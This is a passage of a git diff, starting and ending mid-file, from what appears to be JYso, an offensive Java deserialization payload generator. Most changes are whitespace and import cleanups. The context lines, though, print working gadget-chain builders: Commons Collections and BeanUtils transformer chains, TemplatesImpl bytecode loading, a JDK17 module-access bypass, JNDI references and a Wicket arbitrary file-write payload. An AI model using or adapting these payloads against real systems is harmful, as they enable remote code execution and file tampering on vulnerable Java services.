HashMap(); - URL url = new URL("http://" + urls); - Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); + URL url = new URL("http://" + urls); + Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, Integer.valueOf(0)); Class clazz = null; @@ -287,7 +287,7 @@ public class URLDNS implements ObjectPayload { } String tYPE = command.substring(0, sep); - String url = command.substring(sep + 1); + String url = command.substring(sep + 1); switch (tYPE) { // common 时会测试不常被黑名单禁用的类 diff --git a/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java b/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java index 6dcee1e..88cd8a6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java +++ b/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java @@ -13,7 +13,7 @@ public class UtilFactory { return JDKUtil.makeMap(tgt, sameHash); } - public Object makeToStringTriggerUnstable ( Object obj ) throws Exception { + public Object makeToStringTriggerUnstable(Object obj) throws Exception { return ToStringUtil.makeSpringAOPToStringTrigger(obj); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java index e8be1a1..ddbe5df 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java @@ -61,11 +61,11 @@ public class Wicket1 implements ReleaseableObjectPayload { private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file - File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); - File outputFile = new File(filePath); - DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); - OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); os.write(data); Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); Reflections.setFieldValue(diskFileItem, "dfos", dfos); @@ -96,7 +96,7 @@ public class Wicket1 implements ReleaseableObjectPayload { } @Override - public void release(DiskFileItem obj) throws Exception { + public void release(Object obj) throws Exception { } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/Xbean.java b/src/main/java/com/qi4l/JYso/gadgets/Xbean.java index cf0f7c2..178030c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Xbean.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Xbean.java @@ -8,7 +8,7 @@ import javax.naming.Context; import javax.naming.Reference; import java.net.URI; -public class Xbean implements ObjectPayload{ +public class Xbean implements ObjectPayload { @Override public Object getObject(String command) throws Exception { //需要处理command diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java index bfa5da6..f83e467 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java @@ -40,10 +40,10 @@ public @interface Authors { String JANG = "Jang"; - String ARTSPLOIT = "artsploit"; + String ARTSPLOIT = "artsploit"; String CCKUAILONG = "CCKUAILONG"; - String QI4L = "QI4L"; + String QI4L = "QI4L"; String PEIQIF4CK = "peiqiF4ck"; String Jayl1n = "Jayl1n"; @@ -52,7 +52,7 @@ public @interface Authors { String KILLER = "killer"; - String UNAM4 = "Unam4"; + String UNAM4 = "Unam4"; String JIECUB3 = "jiecub3"; String JSJCW = "jsjcw"; diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java index 44c1512..ceff585 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java @@ -24,8 +24,8 @@ public @interface Dependencies { return deps.value(); } else { try { - Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); - Method m = name.getDeclaredMethod("getDependencies"); + Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); + Method m = name.getDeclaredMethod("getDependencies"); m.setAccessible(true); return (String[]) m.invoke(null); } catch (Exception ignored) { @@ -35,7 +35,7 @@ public @interface Dependencies { } public static String[] getDependenciesSimple(AnnotatedElement annotated) { - String[] deps = getDependencies(annotated); + String[] deps = getDependencies(annotated); String[] simple = new String[deps.length]; for (int i = 0; i < simple.length; i++) { simple[i] = deps[i].split(":", 2)[1]; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb1183.java b/src/main/java/com/qi4l/JYso/gadgets/cb1183.java index 5440799..d468dd7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb1183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb1183.java @@ -9,7 +9,6 @@ import org.apache.commons.beanutils.BeanComparator; import java.util.PriorityQueue; - import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) @@ -19,14 +18,14 @@ public class cb1183 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - ClassPool pool = ClassPool.getDefault(); - CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); - Class beanCompareClazz = ctClass.toClass(); - BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); - final PriorityQueue queue = new PriorityQueue(2, comparator); + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb160.java b/src/main/java/com/qi4l/JYso/gadgets/cb160.java index 66455bc..23354df 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb160.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb160.java @@ -9,7 +9,6 @@ import org.apache.commons.beanutils.BeanComparator; import java.util.PriorityQueue; - import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; @@ -21,8 +20,8 @@ public class cb160 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template = Gadgets.createTemplatesImpl(command); - ClassPool pool = ClassPool.getDefault(); - CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb192.java b/src/main/java/com/qi4l/JYso/gadgets/cb192.java index ea19cd7..aaf9ca8 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb192.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb192.java @@ -16,8 +16,8 @@ public class cb192 implements ObjectPayload { final Object template; template = Gadgets.createTemplatesImpl(command); - final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); - final PriorityQueue queue = new PriorityQueue(2, comparator); + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb3183.java b/src/main/java/com/qi4l/JYso/gadgets/cb3183.java index 4b73479..c054bc2 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb3183.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb3183.java @@ -15,7 +15,7 @@ import static com.qi4l.JYso.gadgets.Config.Config.POOL; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; @Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"}) -public class cb3183 implements ObjectPayload{ +public class cb3183 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { String jndiURL = null; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc1.java b/src/main/java/com/qi4l/JYso/gadgets/cc1.java index e758faa..a2f0034 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc1.java @@ -50,10 +50,10 @@ public class cc1 implements ObjectPayload { // real chain for after setup final Transformer[] transformers = TransformerUtil.makeTransformer(command); - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); - final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化 diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc10.java b/src/main/java/com/qi4l/JYso/gadgets/cc10.java index f1dd820..91b7aaa 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc10.java @@ -15,8 +15,6 @@ import javax.xml.transform.Templates; import java.util.HashMap; import java.util.Map; -import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; - @Dependencies({"commons-collections:commons-collections:3.2.1"}) public class cc10 implements ObjectPayload { @@ -31,10 +29,10 @@ public class cc10 implements ObjectPayload { // 先放一个无关键要的 Transformer ConstantTransformer constantTransformer = new ConstantTransformer(1); - Map innerMap = new HashMap(); - LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); - TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); - Map expMap = new HashMap(); + Map innerMap = new HashMap(); + LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); expMap.put(tme, "QI5L"); Reflections.setFieldValue(outerMap, "factory", factoryTransformer); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc11.java b/src/main/java/com/qi4l/JYso/gadgets/cc11.java index ab78b50..ad4b340 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc11.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc11.java @@ -22,11 +22,11 @@ public class cc11 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object templates; templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); - HashMap map = new HashMap<>(); - Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); - TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); - HashMap expMap = new HashMap<>(); + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + HashMap expMap = new HashMap<>(); expMap.put(tiedMapEntry, "QI4L"); lazyMap.remove(templates); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc12.java b/src/main/java/com/qi4l/JYso/gadgets/cc12.java index 02723fb..abdfd38 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc12.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc12.java @@ -4,10 +4,9 @@ import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; - +import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; -import org.apache.commons.collections.Transformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.DefaultedMap; @@ -18,11 +17,11 @@ import java.util.Map; @Dependencies({"commons-collections:commons-collections:3.2.1"}) @Authors({Authors.Jayl1n}) -public class cc12 implements ObjectPayload{ +public class cc12 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Transformer transformerChain = new ChainedTransformer( - new Transformer[]{ new ConstantTransformer(1) }); + new Transformer[]{new ConstantTransformer(1)}); final Transformer[] transformers = TransformerUtil.makeTransformer(command); final Map innerMap = new HashMap(); final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc13.java b/src/main/java/com/qi4l/JYso/gadgets/cc13.java index d3d32d8..5b95f06 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc13.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc13.java @@ -19,11 +19,11 @@ import java.util.Map; public class cc13 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - Transformer transformerChain = new ChainedTransformer(transformers); - Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); - TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1); - HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, 1); + HashMap hashMap = Gadgets.maskmapToString(tiedMapEntry, tiedMapEntry); Reflections.setFieldValue(decorate, "factory", transformerChain); Reflections.setFieldValue(tiedMapEntry, "key", 233); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc2.java b/src/main/java/com/qi4l/JYso/gadgets/cc2.java index abed618..52ea1d6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc2.java @@ -19,8 +19,8 @@ public class cc2 implements ObjectPayload> { public Queue getObject(String command) throws Exception { final Object templates; templates = Gadgets.createTemplatesImpl(command); - final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(transformer)); queue.add(1); queue.add(1); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc3.java b/src/main/java/com/qi4l/JYso/gadgets/cc3.java index 1d40fe1..97c11c6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc3.java @@ -47,10 +47,10 @@ public class cc3 implements ObjectPayload { new Class[]{Templates.class}, new Object[]{templatesImpl})}; - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); - final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4.java b/src/main/java/com/qi4l/JYso/gadgets/cc4.java index 97ddf0a..9a86e79 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4.java @@ -31,8 +31,8 @@ public class cc4 implements ObjectPayload> { ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed - Class[] paramTypes = new Class[]{String.class}; - Object[] args = new Object[]{Utils.generateRandomString(4)}; + Class[] paramTypes = new Class[]{String.class}; + Object[] args = new Object[]{Utils.generateRandomString(4)}; InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args); // grab defensively copied arrays diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java index 6202476..e889d9f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java @@ -23,22 +23,22 @@ public class cc4_17 implements ObjectPayload { Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); patchModule(cc4_17.class, aClass); - Class TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"); - InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); - ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter); + Class TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"); + InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); + ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter); - InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "javax.xml"}); - InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}); - InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}); - TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2); - ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure); - InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}); + InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "javax.xml"}); + InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}); + InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}); + TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2); + ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure); + InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}); ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe")); - Transformer[] transformers = new Transformer[]{constantTransformer, invokerTransformer, ClosureTransformer, invokerTransformer3, invokerTransformer4, constantTransformer2, invokerTransformer5}; - Transformer keyTransformer = new ChainedTransformer(transformers); + Transformer[] transformers = new Transformer[]{constantTransformer, invokerTransformer, ClosureTransformer, invokerTransformer3, invokerTransformer4, constantTransformer2, invokerTransformer5}; + Transformer keyTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(keyTransformer); - PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); + PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); patchModule(cc4_17.class, priorityQueue.getClass()); Field size = priorityQueue.getClass().getDeclaredField("size"); size.setAccessible(true); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc5.java b/src/main/java/com/qi4l/JYso/gadgets/cc5.java index f007ef1..fa80a0c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc5.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc5.java @@ -52,11 +52,11 @@ public class cc5 implements ObjectPayload { final Transformer transformerChain = new ChainedTransformer( new Transformer[]{new ConstantTransformer(1)}); // real chain for after setup - final Transformer[] transformers = TransformerUtil.makeTransformer(command); - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); Reflections.setFieldValue(val, "val", entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc6.java b/src/main/java/com/qi4l/JYso/gadgets/cc6.java index 21c6d04..5a2d98d 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc6.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc6.java @@ -42,10 +42,10 @@ public class cc6 implements ObjectPayload { Transformer transformerChain = new ChainedTransformer(transformers); - final Map innerMap = new HashMap(); - final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); - TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); - HashSet map = new HashSet(1); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "QI4L"); + HashSet map = new HashSet(1); map.add("QI4L"); Field f = null; try { diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc8.java b/src/main/java/com/qi4l/JYso/gadgets/cc8.java index 8c2cbcf..6aa8161 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc8.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc8.java @@ -1,21 +1,14 @@ package com.qi4l.JYso.gadgets; -import com.fasterxml.jackson.databind.node.POJONode; import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Reflections; -import com.qi4l.JYso.gadgets.utils.jdk17Bypass; -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; -import javax.swing.event.EventListenerList; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.ArrayList; import java.util.Comparator; @@ -24,11 +17,11 @@ import java.util.Comparator; public class cc8 implements ObjectPayload { public TreeBag getObject(String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - TransformingComparator comp = new TransformingComparator((Transformer) transformer); - TreeBag tree = new TreeBag((Comparator) comp); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); tree.add(templates); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); return tree; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc9.java b/src/main/java/com/qi4l/JYso/gadgets/cc9.java index c4e3519..a63e5ee 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc9.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc9.java @@ -21,12 +21,12 @@ public class cc9 implements ObjectPayload { public BadAttributeValueExpException getObject(String command) throws Exception { - ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))}); - Transformer[] transformers = TransformerUtil.makeTransformer(command); - Map innerMap = new HashMap(); - Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer); - TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); - BadAttributeValueExpException val = new BadAttributeValueExpException(null); + ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))}); + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map innerMap = new HashMap(); + Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer); + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); Reflections.setFieldValue(val, "val", entry); Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); return val; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck1.java b/src/main/java/com/qi4l/JYso/gadgets/cck1.java index 682ed3d..ee1e639 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck1.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck1.java @@ -28,11 +28,11 @@ public class cck1 implements ObjectPayload { final Object templates; templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - HashMap innerMap = new HashMap(); - Map m = LazyMap.decorate(innerMap, transformer); - Map outerMap = new HashMap(); - TiedMapEntry tied = new TiedMapEntry(m, templates); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.decorate(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); outerMap.put(tied, "t"); // clear the inner map data, this is important innerMap.clear(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck2.java b/src/main/java/com/qi4l/JYso/gadgets/cck2.java index dd529d7..5a120fc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck2.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck2.java @@ -17,11 +17,11 @@ public class cck2 implements ReleaseableObjectPayload { final Object templates; templates = Gadgets.createTemplatesImpl(command); - InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); - HashMap innerMap = new HashMap(); - Map m = LazyMap.lazyMap(innerMap, transformer); - Map outerMap = new HashMap(); - TiedMapEntry tied = new TiedMapEntry(m, templates); + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.lazyMap(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); outerMap.put(tied, "t"); // clear the inner map data, this is important innerMap.clear(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck3.java b/src/main/java/com/qi4l/JYso/gadgets/cck3.java index 89cef75..78eda0c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck3.java @@ -19,12 +19,12 @@ public class cck3 implements ObjectPayload { public Object getObject(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; - Transformer[] transformers = TransformerUtil.makeTransformer(command); - Transformer transformerChain = new ChainedTransformer(fakeTransformers); - Map innerMap = new HashMap(); - Map outerMap = LazyMap.decorate(innerMap, transformerChain); - TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); - Map expMap = new HashMap(); + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); expMap.put(tme, "QI5L"); outerMap.remove("QI4L"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cck4.java b/src/main/java/com/qi4l/JYso/gadgets/cck4.java index f0a0cf0..8b48694 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cck4.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cck4.java @@ -18,13 +18,13 @@ import java.util.Map; public class cck4 implements ObjectPayload { public Object getObject(String command) throws Exception { - Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; - Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); - Transformer transformerChain = new ChainedTransformer(fakeTransformers); - Map innerMap = new HashMap(); - Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); - TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); - Map expMap = new HashMap(); + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); expMap.put(tme, "QI5L"); outerMap.remove("QI4L"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/springFs.java b/src/main/java/com/qi4l/JYso/gadgets/springFs.java index a5f75ff..c4f033e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/springFs.java +++ b/src/main/java/com/qi4l/JYso/gadgets/springFs.java @@ -25,13 +25,13 @@ import java.util.HashMap; import static com.qi4l.JYso.gadgets.JDKUtil.makeMap; public class springFs implements ObjectPayload, Serializable { + public static ClassPool pool = ClassPool.getDefault(); // jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17) public String toString = 